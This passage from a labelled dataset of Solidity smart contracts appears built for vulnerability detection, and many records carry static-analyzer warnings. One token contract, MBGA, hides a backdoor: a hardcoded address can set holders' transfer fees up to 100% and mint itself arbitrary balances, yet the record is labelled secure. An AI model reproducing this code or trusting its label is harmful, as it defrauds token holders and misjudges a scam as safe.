totalSupply + 1 + i);\n\t\t// reentrancy-no-eth | ID: eb0a767\n totalSupply += _wallets.length;\n }\n\n function setBaseUri(string memory _uri) external onlyOwner {\n baseURI = _uri;\n }\n function setPauseSale(bool temp) external onlyOwner {\n pause_sale = temp;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n function set_start_time(uint256 time) external onlyOwner {\n sale_startTime = time;\n }\n\n function withdraw() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_2625.sol",
"secure": 0,
"size_bytes": 3285
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(address previousOwner, address newOwner);\n\n constructor(address addr) {\n require(\n addr != address(0),\n \"The address of the owner cannot be the zero address\"\n );\n require(\n addr != address(1),\n \"The address of the owner cannot be the ecrecover address\"\n );\n _owner = addr;\n emit OwnershipTransferred(address(0), addr);\n }\n\n modifier onlyOwner() {\n require(\n isOwner(msg.sender),\n \"Only the owner of the smart contract is allowed to call this function.\"\n );\n _;\n }\n\n function transferOwnership(address addr) public onlyOwner {\n require(\n addr != address(0),\n \"The target address cannot be the zero address\"\n );\n emit OwnershipTransferred(_owner, addr);\n _owner = addr;\n }\n\n function destroy(address payable addr) public virtual onlyOwner {\n require(\n addr != address(0),\n \"The target address cannot be the zero address\"\n );\n require(\n addr != address(1),\n \"The target address cannot be the ecrecover address\"\n );\n selfdestruct(addr);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function isOwner(address addr) public view returns (bool) {\n return addr == _owner;\n }\n}",
"file_name": "solidity_code_2626.sol",
"secure": 1,
"size_bytes": 1599
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n\n function balanceOf(address addr) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_2627.sol",
"secure": 1,
"size_bytes": 1000
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAnyswapV5Router {\n function anySwapOutUnderlying(\n address token,\n address to,\n uint256 amount,\n uint256 toChainID\n ) external;\n}",
"file_name": "solidity_code_2628.sol",
"secure": 1,
"size_bytes": 243
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IAnyswapV5Router.sol\" as IAnyswapV5Router;\n\ncontract TheContract is Ownable {\n IERC20 public immutable underlyingTokenInterface;\n\n IERC20 public immutable anyTokenInterface;\n\n IAnyswapV5Router public immutable routerInterface;\n\n constructor(\n IERC20 underlyingTokenInterface_,\n IERC20 anyTokenInterface_,\n IAnyswapV5Router routerInterface_\n ) Ownable(msg.sender) {\n require(\n address(underlyingTokenInterface_) != address(0),\n \"Token required\"\n );\n require(address(routerInterface_) != address(0), \"Router required\");\n require(\n address(anyTokenInterface_) != address(0),\n \"Multichain Token interface required\"\n );\n\n underlyingTokenInterface = underlyingTokenInterface_;\n routerInterface = routerInterface_;\n anyTokenInterface = anyTokenInterface_;\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function approveToken(uint256 spenderAmount) public onlyOwner {\n require(\n underlyingTokenInterface.approve(\n address(routerInterface),\n spenderAmount\n ),\n \"Approval failed\"\n );\n }\n\n function send(\n address destinationAddr_,\n uint256 destinationAmount_,\n uint256 destinationChainId_\n ) public onlyOwner {\n require(destinationAddr_ != address(0), \"Destination address required\");\n require(destinationAmount_ > 0, \"Transfer amount required\");\n require(destinationChainId_ > 0, \"Destination chain required\");\n\n uint256 currentBalance = underlyingTokenInterface.balanceOf(\n address(this)\n );\n\n routerInterface.anySwapOutUnderlying(\n address(anyTokenInterface),\n destinationAddr_,\n destinationAmount_,\n destinationChainId_\n );\n\n uint256 newBalance = underlyingTokenInterface.balanceOf(address(this));\n\n require(newBalance < currentBalance, \"CR: Transfer failed\");\n }\n\n function destroy(address payable addr_) public override onlyOwner {\n uint256 currentBalance = underlyingTokenInterface.balanceOf(\n address(this)\n );\n require(\n underlyingTokenInterface.transfer(addr_, currentBalance),\n \"Transfer failed\"\n );\n\n selfdestruct(addr_);\n }\n\n function getCurrentBalance() public view returns (uint256) {\n return underlyingTokenInterface.balanceOf(address(this));\n }\n}",
"file_name": "solidity_code_2629.sol",
"secure": 1,
"size_bytes": 2826
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract EthClaimContract is Ownable, ReentrancyGuard {\n bool public isClaimActive = true;\n\n mapping(address user => uint256 amount) public userBalance;\n\n mapping(address user => uint256 amount) public totalClaimed;\n\n constructor() Ownable(msg.sender) {}\n\n receive() external payable {}\n\n function claimETH() public nonReentrant {\n require(isClaimActive, \"Claim is not active\");\n\n require(userBalance[msg.sender] > 0, \"No tokens to claim\");\n\n require(\n address(this).balance >= userBalance[msg.sender],\n \"Insufficient balance\"\n );\n\n uint256 amount = userBalance[msg.sender];\n\n userBalance[msg.sender] = 0;\n\n totalClaimed[msg.sender] += amount;\n\n payable(msg.sender).transfer(amount);\n }\n\n function toggleClaim() public onlyOwner {\n isClaimActive = !isClaimActive;\n }\n\n function setBalance(address user, uint256 amount) public onlyOwner {\n userBalance[user] = amount;\n }\n\n function setBalanceBulk(\n address[] memory users,\n uint256[] memory amounts\n ) public onlyOwner {\n require(users.length == amounts.length, \"Invalid input\");\n\n for (uint256 i = 0; i < users.length; i++) {\n userBalance[users[i]] = amounts[i];\n }\n }\n\n function emergenceyWithdrawTokens() public onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function withdraw() public payable onlyOwner {\n (bool success, ) = payable(msg.sender).call{\n value: address(this).balance\n }(\"\");\n\n require(success);\n }\n}",
"file_name": "solidity_code_263.sol",
"secure": 1,
"size_bytes": 1901
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nlibrary AddressUtils {\n function isContract(address _addr) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(_addr)\n }\n return size > 0;\n }\n}",
"file_name": "solidity_code_2630.sol",
"secure": 1,
"size_bytes": 293
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\ninterface ERC721Metadata {\n function name() external view returns (string memory _name);\n\n function symbol() external view returns (string memory _symbol);\n}",
"file_name": "solidity_code_2631.sol",
"secure": 1,
"size_bytes": 235
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./NFToken.sol\" as NFToken;\nimport \"./ERC721Metadata.sol\" as ERC721Metadata;\n\ncontract NFTokenMetadata is NFToken, ERC721Metadata {\n string internal nftName;\n\n string internal nftSymbol;\n\n constructor() {\n supportedInterfaces[0x5b5e139f] = true;\n }\n\n function name() external view override returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view override returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n}",
"file_name": "solidity_code_2632.sol",
"secure": 1,
"size_bytes": 585
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadata.sol\" as NFTokenMetadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EtherGals is NFTokenMetadata, Ownable {\n mapping(address => uint256) private galsClaimed;\n mapping(uint256 => string) public tokenURI;\n\n uint256 public currentMintedGal = 0;\n\n event Minted(address sender, uint256 count);\n\n constructor() {\n nftName = \"EtherGals: Limited Edition\";\n nftSymbol = \"EGL\";\n }\n\n function totalSupply() public view returns (uint256) {\n return currentMintedGal;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 338eb84): EtherGals.galsClaimedBy(address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 338eb84: Rename the local variables that shadow another component.\n function galsClaimedBy(address owner) external view returns (uint256) {\n require(owner != address(0), \"Zero address cant into mintings\");\n\n return galsClaimed[owner];\n }\n\n function mint(string calldata _URI) public onlyOwner {\n currentMintedGal += 1;\n super._mint(msg.sender, currentMintedGal);\n galsClaimed[msg.sender] += 1;\n tokenURI[currentMintedGal] = _URI;\n\n emit Minted(msg.sender, currentMintedGal);\n }\n\n function withdrawETH() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function updateURI(string calldata _URI, uint256 _galNum) external onlyOwner {\n tokenURI[_galNum] = _URI;\n }\n}",
"file_name": "solidity_code_2633.sol",
"secure": 0,
"size_bytes": 1629
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOnlyStealthRelayer {\n event StealthRelayerSet(address _stealthRelayer);\n\n function stealthRelayer() external view returns (address _stealthRelayer);\n\n function setStealthRelayer(address _stealthRelayer) external;\n}",
"file_name": "solidity_code_2634.sol",
"secure": 1,
"size_bytes": 302
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IOnlyStealthRelayer.sol\" as IOnlyStealthRelayer;\n\nabstract contract OnlyStealthRelayer is IOnlyStealthRelayer {\n address public override stealthRelayer;\n\n constructor(address _stealthRelayer) {\n _setStealthRelayer(_stealthRelayer);\n }\n\n modifier onlyStealthRelayer() {\n require(\n stealthRelayer == address(0) || msg.sender == stealthRelayer,\n \"OnlyStealthRelayer::not-relayer\"\n );\n _;\n }\n\n function _setStealthRelayer(address _stealthRelayer) internal {\n stealthRelayer = _stealthRelayer;\n emit StealthRelayerSet(_stealthRelayer);\n }\n}",
"file_name": "solidity_code_2635.sol",
"secure": 1,
"size_bytes": 713
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Enum {\n enum Operation {\n Call,\n DelegateCall\n }\n}",
"file_name": "solidity_code_2636.sol",
"secure": 1,
"size_bytes": 146
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface GnosisSafe {\n function getOwners() external view returns (address[] memory);\n\n function execTransaction(\n address to,\n uint256 value,\n bytes calldata data,\n uint8 operation,\n uint256 safeTxGas,\n uint256 dataGas,\n uint256 gasPrice,\n address gasToken,\n address refundReceiver,\n bytes calldata signatures\n ) external payable;\n}",
"file_name": "solidity_code_2637.sol",
"secure": 1,
"size_bytes": 490
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Enum.sol\" as Enum;\n\ninterface IGuard {\n function checkTransaction(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address payable refundReceiver,\n bytes memory signatures,\n address msgSender\n ) external;\n\n function checkAfterExecution(bytes32, bool) external view;\n}",
"file_name": "solidity_code_2638.sol",
"secure": 1,
"size_bytes": 548
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract TheDegenaissance is ERC721 {\n string public baseURI;\n\t// WARNING Optimization Issue (immutable-states | ID: a621494): TheDegenaissance._totalSupply should be immutable \n\t// Recommendation for a621494: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 8ce6e44): TheDegenaissance.owner should be immutable \n\t// Recommendation for 8ce6e44: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n constructor() ERC721(\"The Degenaissance\", \"DEGEN\") {\n baseURI = string(\n \"ipfs://QmdPQRVCDvDjapV6SNGMxNbp31NeNwneM54Y861MGjTYMR/\"\n );\n owner = address(0x9Ad21C497837165344e1fA54fe894174b19c51e0);\n _totalSupply = 2553;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view override(ERC721) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function setBaseURI(string memory uri) external {\n require(msg.sender == owner, \"setBaseUri unauthorized\");\n baseURI = uri;\n }\n\n function _baseURI() internal view override returns (string memory) {\n return baseURI;\n }\n\n function batchMint(address[] memory addresses, uint256 start) external {\n require(msg.sender == owner, \"batchMint unauthorized\");\n for (uint256 i = 0; i < addresses.length; i++) {\n _mint(addresses[i], start + i);\n }\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n return string(abi.encodePacked(_baseURI()));\n }\n}",
"file_name": "solidity_code_2639.sol",
"secure": 1,
"size_bytes": 2276
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WeaverToken is ERC20 {\n constructor() ERC20(\"Weaver\", \"WEAVER\") {\n _mint(msg.sender, 1000000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_264.sol",
"secure": 1,
"size_bytes": 294
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: cb082d1): IERC721 has incorrect ERC20 function interfaceIERC721.transferFrom(address,address,uint256)\n\t// Recommendation for cb082d1: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transferFrom(address from, address to, uint256 tokenId) external;\n}",
"file_name": "solidity_code_2640.sol",
"secure": 0,
"size_bytes": 453
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract UniV3Lock {\n\t// WARNING Optimization Issue (immutable-states | ID: 662907c): UniV3Lock.uniV3Nft should be immutable \n\t// Recommendation for 662907c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniV3Nft;\n\n event LpPositionLocked(address owner, uint256 tokenId, uint256 unlockTime);\n event LpPositionUnlocked(address owner, uint256 tokenId);\n\n constructor(address _uniV3Nft) {\n require(_uniV3Nft != address(0), \"_uniV3Nft is address zero\");\n uniV3Nft = _uniV3Nft;\n }\n\n mapping(uint256 => address) tokenIdToDepositor;\n mapping(uint256 => uint256) tokenIdToUnlockTime;\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8749715): UniV3Lock.lock(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(_unlockTime > block.timestamp,unlockTime already passed)\n\t// Recommendation for 8749715: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ef7b76f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ef7b76f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ae108f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ae108f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function lock(uint256 _tokenId, uint256 _unlockTime) external {\n\t\t// timestamp | ID: 8749715\n require(_unlockTime > block.timestamp, \"unlockTime already passed\");\n\t\t// reentrancy-events | ID: ef7b76f\n\t\t// reentrancy-benign | ID: 4ae108f\n IERC721(uniV3Nft).transferFrom(msg.sender, address(this), _tokenId);\n\t\t// reentrancy-benign | ID: 4ae108f\n tokenIdToDepositor[_tokenId] = msg.sender;\n\t\t// reentrancy-benign | ID: 4ae108f\n tokenIdToUnlockTime[_tokenId] = _unlockTime;\n\t\t// reentrancy-events | ID: ef7b76f\n emit LpPositionLocked(msg.sender, _tokenId, _unlockTime);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 169dc09): UniV3Lock.relock(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(_unlockTime > block.timestamp,unlockTime already passed)\n\t// Recommendation for 169dc09: Avoid relying on 'block.timestamp'.\n function relock(uint256 _tokenId, uint256 _unlockTime) external {\n require(\n tokenIdToDepositor[_tokenId] == msg.sender,\n \"caller is not depositor of token\"\n );\n require(\n _unlockTime > tokenIdToUnlockTime[_tokenId],\n \"new unlockTime not greater than current\"\n );\n\t\t// timestamp | ID: 169dc09\n require(_unlockTime > block.timestamp, \"unlockTime already passed\");\n tokenIdToUnlockTime[_tokenId] = _unlockTime;\n emit LpPositionLocked(msg.sender, _tokenId, _unlockTime);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 45bccd1): UniV3Lock.unlock(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= tokenIdToUnlockTime[_tokenId],lock not yet expired)\n\t// Recommendation for 45bccd1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a563cf5): Reentrancy in UniV3Lock.unlock(uint256) External calls IERC721(uniV3Nft).transferFrom(address(this),msg.sender,_tokenId) Event emitted after the call(s) LpPositionUnlocked(msg.sender,_tokenId)\n\t// Recommendation for a563cf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e9bcd34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e9bcd34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function unlock(uint256 _tokenId) external {\n require(\n tokenIdToDepositor[_tokenId] == msg.sender,\n \"caller is not depositor of token\"\n );\n\t\t// timestamp | ID: 45bccd1\n require(\n block.timestamp >= tokenIdToUnlockTime[_tokenId],\n \"lock not yet expired\"\n );\n\t\t// reentrancy-events | ID: a563cf5\n\t\t// reentrancy-no-eth | ID: e9bcd34\n IERC721(uniV3Nft).transferFrom(address(this), msg.sender, _tokenId);\n\t\t// reentrancy-no-eth | ID: e9bcd34\n tokenIdToDepositor[_tokenId] = address(0);\n\t\t// reentrancy-no-eth | ID: e9bcd34\n tokenIdToUnlockTime[_tokenId] = 0;\n\t\t// reentrancy-events | ID: a563cf5\n emit LpPositionUnlocked(msg.sender, _tokenId);\n }\n}",
"file_name": "solidity_code_2641.sol",
"secure": 0,
"size_bytes": 5371
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721ReceiverUpgradeable {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_2642.sol",
"secure": 1,
"size_bytes": 273
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MBGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 387878d): MBGA._decimals should be immutable \n\t// Recommendation for 387878d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f8eb30): MBGA._totalSupply should be immutable \n\t// Recommendation for 9f8eb30: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3125928): MBGA._marketsadseress should be immutable \n\t// Recommendation for 3125928: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketsadseress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketsadseress = 0x9125dCCd2A542a26fdD6001C65a840F4774D6162;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apparove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketsadseress;\n }\n\n function liqwenyburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_2643.sol",
"secure": 1,
"size_bytes": 5354
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nlibrary ShapeArtGenerator {\n struct ShapeArt {\n uint256 bgcolor;\n uint256 numshapes;\n uint256 animation;\n uint256 monochrome;\n uint256 textured;\n }\n struct ShapeStruct {\n uint256 x;\n uint256 y;\n uint256 height;\n uint256 width;\n uint256 shapeindex;\n uint256 yoffset;\n uint256 colortype;\n }\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n function pluckNum(\n uint256 tokenId,\n string memory keyPrefix,\n uint256 minNum,\n uint256 maxNum\n ) internal pure returns (uint256) {\n uint256 rand = random(\n string(\n abi.encodePacked(\n keyPrefix,\n toString(tokenId),\n toString(minNum),\n toString(maxNum)\n )\n )\n );\n uint256 num = (rand % (maxNum - minNum + 1)) + minNum;\n return num;\n }\n\n function getNumShapes(uint256 tokenId) internal pure returns (uint256) {\n uint256 rand = random(\n string(abi.encodePacked(\"NUM_SHAPES\", toString(tokenId)))\n );\n rand = rand % 201;\n uint256 ps = 5;\n if (rand > 110 && rand <= 160) {\n ps = 6;\n }\n if (rand > 160 && rand <= 200) {\n ps = 4;\n }\n return ps;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 78dfef9): ShapeArtGenerator.getAnimation(uint256).ps is a local variable never initialized\n\t// Recommendation for 78dfef9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getAnimation(uint256 tokenId) internal pure returns (uint256) {\n uint256 rand = random(\n string(abi.encodePacked(\"ANIMATION\", toString(tokenId)))\n );\n rand = rand % 201;\n uint256 ps;\n if (rand > 186 && rand <= 195) {\n ps = 1;\n }\n if (rand > 140 && rand <= 150) {\n ps = 2;\n }\n return ps;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: dc877cf): ShapeArtGenerator.getMonochrome(uint256).ps is a local variable never initialized\n\t// Recommendation for dc877cf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getMonochrome(uint256 tokenId) internal pure returns (uint256) {\n uint256 rand = random(\n string(abi.encodePacked(\"MONOCHROME\", toString(tokenId)))\n );\n rand = rand % 201;\n uint256 ps;\n if (rand > 160) {\n ps = 1;\n }\n return ps;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 6936a18): ShapeArtGenerator.getTextured(uint256).ps is a local variable never initialized\n\t// Recommendation for 6936a18: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getTextured(uint256 tokenId) internal pure returns (uint256) {\n uint256 rand = random(\n string(abi.encodePacked(\"TEXTURED\", toString(tokenId)))\n );\n rand = rand % 201;\n uint256 ps;\n if (rand > 170) {\n ps = 1;\n }\n return ps;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c5d2775): ShapeArtGenerator.getShape(uint256,uint256).ps is a local variable never initialized\n\t// Recommendation for c5d2775: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getShape(\n uint256 tokenId,\n uint256 i\n ) internal pure returns (uint256) {\n uint256 rand = random(\n string(\n abi.encodePacked(\"Shape_Type\", toString(tokenId), toString(i))\n )\n );\n rand = rand % 201;\n uint256 ps;\n if (rand > 22 && rand <= 44) {\n ps = 1;\n }\n if (rand > 44 && rand <= 66) {\n ps = 2;\n }\n if (rand > 66 && rand <= 88) {\n ps = 3;\n }\n if (rand > 88 && rand <= 110) {\n ps = 4;\n }\n if (rand > 110 && rand <= 132) {\n ps = 5;\n }\n if (rand > 132 && rand <= 154) {\n ps = 6;\n }\n if (rand > 154 && rand <= 176) {\n ps = 7;\n }\n if (rand > 176 && rand <= 198) {\n ps = 8;\n }\n return ps;\n }\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fce3447): ShapeArtGenerator.makeShapeFactory(uint256).shape is a local variable never initialized\n\t// Recommendation for fce3447: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b8983ff): ShapeArtGenerator.makeShapeFactory(uint256).attributes is a local variable never initialized\n\t// Recommendation for b8983ff: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 5deee27): ShapeArtGenerator.makeShapeFactory(uint256).parts is a local variable never initialized\n\t// Recommendation for 5deee27: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function makeShapeFactory(\n uint256 tokenId\n ) internal pure returns (ShapeArt memory, string memory) {\n string[25] memory shapecolors = [\n \"#00E1DF\",\n \"#26F33A\",\n \"#06B2BB\",\n \"#BEB947\",\n \"#2A3166\",\n \"#F26419\",\n \"#B76CFD\",\n \"#0BF287\",\n \"#43ECE2\",\n \"#FBCC04\",\n \"#ED2995\",\n \"#E12B38\",\n \"#F71B2D\",\n \"#FA5456\",\n \"#E42C6A\",\n \"#DEE500\",\n \"#FFED00\",\n \"#BAF2D8\",\n \"#FAF182\",\n \"#FFFFFF\",\n \"#0EA81F\",\n \"#000000\",\n \"#E53E34\",\n \"#0899D7\",\n \"#1C6FFC\"\n ];\n string[9] memory paths = [\n \"<path d='M142.428 0L200 100H0L142.428 0Z' fill='\",\n \"<rect width='200' height='89.2857' fill='\",\n \"<circle cx='82' cy='82' r='82' fill='\",\n \"<ellipse cx='100' cy='75.9162' rx='100' ry='75.9162' fill='\",\n \"<path d='M0 